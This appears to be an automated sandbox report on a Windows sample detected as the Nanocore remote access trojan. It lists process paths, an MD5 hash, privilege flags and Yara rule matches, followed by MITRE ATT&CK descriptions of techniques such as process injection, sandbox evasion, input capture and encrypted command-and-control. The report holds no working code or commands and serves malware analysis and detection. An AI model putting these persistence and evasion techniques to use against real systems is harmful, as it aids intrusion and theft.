Analysis Process: FYrMKmDjFi.exe PID: 6112 Parent PID: 664

General

Start time:	02:46:13
Start date:	12/10/2021
Path:	C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe 0
Imagebase:	0x90000
File size:	13312 bytes
MD5 hash:	F76BC0E1DD77808D3668B3A169155DEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000009.00000002.339345544.000000000371D000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000009.00000002.339345544.000000000371D000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000009.00000002.339345544.000000000371D000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000009.00000003.332140109.000000000387A000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000009.00000003.332140109.000000000387A000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000009.00000003.332140109.000000000387A000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000009.00000002.338337691.000000000263C000.00000004.00000001.sdmp, Author: Florian Roth Rule: NanoCore, Description: unknown, Source: 00000009.00000002.338337691.000000000263C000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000009.00000002.338511027.00000000035B9000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000009.00000002.338511027.00000000035B9000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000009.00000002.338511027.00000000035B9000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
Reputation:	low

Analysis Process: dhcpmon.exe PID: 6664 Parent PID: 664

General

Start time:	02:46:13
Start date:	12/10/2021
Path:	C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe' 0
Imagebase:	0xac0000
File size:	13312 bytes
MD5 hash:	F76BC0E1DD77808D3668B3A169155DEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000A.00000002.341983830.0000000003E29000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000A.00000002.341983830.0000000003E29000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000A.00000002.341983830.0000000003E29000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000A.00000002.342288070.0000000003F8D000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000A.00000002.342288070.0000000003F8D000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000A.00000002.342288070.0000000003F8D000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000A.00000002.341870208.0000000002EBA000.00000004.00000001.sdmp, Author: Florian Roth Rule: NanoCore, Description: unknown, Source: 0000000A.00000002.341870208.0000000002EBA000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000A.00000003.336697270.00000000040EA000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000A.00000003.336697270.00000000040EA000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000A.00000003.336697270.00000000040EA000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 9%, ReversingLabs
Reputation:	low

Analysis Process: FYrMKmDjFi.exe PID: 6816 Parent PID: 6112

General

Start time:	02:46:21
Start date:	12/10/2021
Path:	C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe
Imagebase:	0xd80000
File size:	13312 bytes
MD5 hash:	F76BC0E1DD77808D3668B3A169155DEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000C.00000002.353412885.0000000000402000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000C.00000002.353412885.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000C.00000002.353412885.0000000000402000.00000040.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000C.00000002.354909333.0000000004199000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000C.00000002.354909333.0000000004199000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000C.00000002.354775896.0000000003191000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000C.00000002.354775896.0000000003191000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
Reputation:	low

Analysis Process: dhcpmon.exe PID: 6916 Parent PID: 3352

General

Start time:	02:46:21
Start date:	12/10/2021
Path:	C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe'
Imagebase:	0x260000
File size:	13312 bytes
MD5 hash:	F76BC0E1DD77808D3668B3A169155DEC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000D.00000002.358733206.000000000399C000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000D.00000002.358733206.000000000399C000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000D.00000002.358733206.000000000399C000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000D.00000003.353322483.0000000003AF8000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000D.00000003.353322483.0000000003AF8000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000D.00000003.353322483.0000000003AF8000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000D.00000002.357888329.0000000003839000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000D.00000002.357888329.0000000003839000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000D.00000002.357888329.0000000003839000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000D.00000002.357475448.00000000028AA000.00000004.00000001.sdmp, Author: Florian Roth Rule: NanoCore, Description: unknown, Source: 0000000D.00000002.357475448.00000000028AA000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
Reputation:	low

Analysis Process: dhcpmon.exe PID: 4700 Parent PID: 6664

General

Start time:	02:46:23
Start date:	12/10/2021
Path:	C:\Users\user\AppData\Local\Temp\dhcpmon.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\dhcpmon.exe
Imagebase:	0xbf0000
File size:	13312 bytes
MD5 hash:	F76BC0E1DD77808D3668B3A169155DEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000E.00000002.357019019.0000000000402000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000E.00000002.357019019.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000E.00000002.357019019.0000000000402000.00000040.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000E.00000002.359270670.0000000003EB9000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000E.00000002.359270670.0000000003EB9000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000E.00000002.358914418.0000000002EB1000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000E.00000002.358914418.0000000002EB1000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 9%, ReversingLabs
Reputation:	low

Analysis Process: dhcpmon.exe PID: 5656 Parent PID: 6916

General

Start time:	02:46:31
Start date:	12/10/2021
Path:	C:\Users\user\AppData\Local\Temp\dhcpmon.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\dhcpmon.exe
Imagebase:	0xa00000
File size:	13312 bytes
MD5 hash:	F76BC0E1DD77808D3668B3A169155DEC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000F.00000002.376193439.0000000000402000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000F.00000002.376193439.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000F.00000002.376193439.0000000000402000.00000040.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000F.00000002.377764410.0000000003CA9000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000F.00000002.377764410.0000000003CA9000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000F.00000002.377395934.0000000002CA1000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000F.00000002.377395934.0000000002CA1000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
Reputation:	low

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.
Tactics:	Command and Control
Data Sources:	Network intrusion detection system, Network protocol analysis, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report FYrMKmDjFi.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

AV Detection:

E-Banking Fraud:

Stealing of Sensitive Information:

Remote Access Functionality:

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre